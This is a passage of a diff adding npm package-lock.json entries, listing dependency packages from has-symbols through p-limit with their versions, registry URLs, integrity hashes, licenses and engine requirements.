+ "license": "MIT", + "optional": true, + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hosted-git-info": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", + "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", + "dev": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.3.0.tgz", + "integrity": "sha512-M5t5LlJpS1UHMjvwRQVdFHvPISGeLAxNcrWuJkeGh0KxsqCHZ1O3NXZU/8x7cD0BDcGW8kapxMKTvwlqrNkHkA==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/http2-wrapper": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.0.0" + }, + "engines": { + "node": ">=10.19.0" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/iconv-lite": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", + "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/import-in-the-middle": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-3.5.2.tgz", + "integrity": "sha512-WseIA/4o56+GYO3RmlOPvejYi771OFeJEeK/ejROsr9bdjW+E5NXTOD1Di8TL40Qgg3JJX9aa97Hf8iiSVIKZw==", + "license": "Apache-2.0", + "dependencies": { + "cjs-module-lexer": "^2.2.0", + "es-module-lexer": "^3.0.2", + "module-details-from-path": "^1.0.4" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "dev": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-promise": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", + "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", + "license": "MIT" + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/isbinaryfile": { + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-5.0.7.tgz", + "integrity": "sha512-gnWD14Jh3FzS3CPhF0AxNOJ8CxqeblPTADzI38r0wt8ZyQl5edpy75myt08EG2oKvpyiqSqsx+Wkz9vtkbTqYQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/gjtorikian/" + } + }, + "node_modules/isexe": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-3.1.5.tgz", + "integrity": "sha512-6B3tLtFqtQS4ekarvLVMZ+X+VlvQekbe4taUkf/rhVO3d/h0M2rfARm/pXLcPEsjjMsFgrFgSrhQIxcSVrBz8w==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/jake": { + "version": "10.9.4", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz", + "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "async": "^3.2.6", + "filelist": "^1.0.4", + "picocolors": "^1.1.1" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jiti": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", + "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", + "dev": true, + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/jose": { + "version": "6.2.12", + "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.12.tgz", + "integrity": "sha512-9NiFmJEex0sy2Dk58j2UGBSHgUs2ypF9eZSu4L6vjOX3Dp96Sw1F3uL+H+D1sx02jZZdzUT0HgvCy59CuvXcWw==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/js-yaml": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.2.tgz", + "integrity": "sha512-SFNOvSJ+Dgf/9An904Yx+CgSlIPCkIpao4qo51lpee25TIRejdH3rhR4EZMGoNx3/TP3O+wzWuiTFl4sqbltzA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", + "dev": true, + "license": "ISC", + "optional": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.1.tgz", + "integrity": "sha512-zwOTdL3rFQ/lRdBnntKVOX6k5cKJwEc1HdilT71BWEu7J41gXIB2MRp+vxduPSwZJPWBxEzv4yH1wYLJGUHX4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/lazy-val": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/lazy-val/-/lazy-val-1.0.5.tgz", + "integrity": "sha512-0/BnGCCfyUMkBpeDgWihanIAF9JmZhHBgUhEqzvf+adhNGLoP6TaiI5oF8oyb3I45P+PcnrqihSf01M0l0G5+Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==", + "license": "MIT" + }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "license": "Apache-2.0" + }, + "node_modules/lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lucide-static": { + "version": "1.55.0", + "resolved": "https://registry.npmjs.org/lucide-static/-/lucide-static-1.55.0.tgz", + "integrity": "sha512-h18lunTFsIJWnY0FMRPjXeO9KcAtNi7fDqtqgWHOFbssfgUWsctn/pA7bpiyrd4g1DuBOJ24CsRnPfkYblwm/A==", + "dev": true, + "license": "ISC" + }, + "node_modules/matcher": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", + "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "escape-string-regexp": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/media-typer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz", + "integrity": "sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/merge-descriptors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", + "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mime": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", + "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", + "dev": true, + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/mime-db": { + "version": "1.54.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", + "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", + "license": "MIT", + "dependencies": { + "mime-db": "^1.54.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/minimatch": { + "version": "10.2.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz", + "integrity": "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.8" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/minizlib": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.1.0.tgz", + "integrity": "sha512-KZxYo1BUkWD2TVFLr0MQoM8vUUigWD3LlD83a/75BqC+4qE0Hb1Vo5v1FgcfaNXvfXzr+5EhQ6ing/CaBijTlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "minipass": "^7.1.2" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/module-details-from-path": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/module-details-from-path/-/module-details-from-path-1.0.4.tgz", + "integrity": "sha512-EGWKgxALGMgzvxYF1UyGTy0HXX/2vHLkw6+NvDKW2jypWbHpjQuj4UMcqQWXHERJhVGKikolT06G3bcKe4fi7w==", + "license": "MIT" + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/negotiator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.1.0.tgz", + "integrity": "sha512-NMPBRMJgiQHjbd8phG3Vebdx4kZ1H121rbl5IkMqeOsahptB9BKo/d7oJ3zTXqTgagn2bWlNSXkh0QUGM31RYg==", + "license": "MIT", + "dependencies": { + "content-type": "^2.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/node-abi": { + "version": "4.37.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-4.37.0.tgz", + "integrity": "sha512-O9XXMXLeRHQtvh43NCah3y9N1K69tecOmu8Y5p2ay4iXvtpbQr0VaroJF9EmRVp3vkdoj3qn4IFfX+ZYtC94fw==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.6.3" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/node-api-version": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/node-api-version/-/node-api-version-0.2.1.tgz", + "integrity": "sha512-2xP/IGGMmmSQpI1+O/k72jF/ykvZ89JeuKX3TLJAYPDVLUalrshrLHkeVcCCZqG/eEa635cr8IBYzgnDvM2O8Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.3.5" + } + }, + "node_modules/node-gyp": { + "version": "12.4.0", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-12.4.0.tgz", + "integrity": "sha512-OMcPNvqTCFUnNaBlmdgq+lfNqY7gTiSmNRDjY3uAXRyudeKZEZxu3CLtjMQrx4zZxCX2b/mpNqTtwuCJgXhHkw==", + "dev": true, + "license": "MIT", + "dependencies": { + "env-paths": "^2.2.0", + "exponential-backoff": "^3.1.1", + "graceful-fs": "^4.2.6", + "nopt": "^9.0.0", + "proc-log": "^6.0.0", + "semver": "^7.3.5", + "tar": "^7.5.4", + "tinyglobby": "^0.2.12", + "undici": "^6.25.0", + "which": "^6.0.0" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/node-gyp/node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/node-gyp/node_modules/isexe": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-4.0.0.tgz", + "integrity": "sha512-FFUtZMpoZ8RqHS3XeXEmHWLA4thH+ZxCv2lOiPIn1Xc7CxrqhWzNSDzD+/chS/zbYezmiwWLdQC09JdQKmthOw==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=20" + } + }, + "node_modules/node-gyp/node_modules/undici": { + "version": "6.29.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.29.0.tgz", + "integrity": "sha512-R+RODBqp6i2pPflGdq+xIOUkl+RNfGgHwoinecKu/JCuf2uO06cOKoDbI2P7Dn6KcswdKwrczbU6IYJ6K8X+wg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.17" + } + }, + "node_modules/node-gyp/node_modules/which": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/which/-/which-6.0.1.tgz", + "integrity": "sha512-oGLe46MIrCRqX7ytPUf66EAYvdeMIZYn3WaocqqKZAxrBpkqHfL/qvTyJ/bTk5+AqHCjXmrv3CEWgy368zhRUg==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^4.0.0" + }, + "bin": { + "node-which": "bin/which.js" + }, + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/nopt": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-9.0.0.tgz", + "integrity": "sha512-Zhq3a+yFKrYwSBluL4H9XP3m3y5uvQkB/09CwDruCiRmR/UJYnn9W4R48ry0uGC70aeTPKLynBtscP9efFFcPw==", + "dev": true, + "license": "ISC", + "dependencies": { + "abbrev": "^4.0.0" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/p-cancelable": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", + "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": 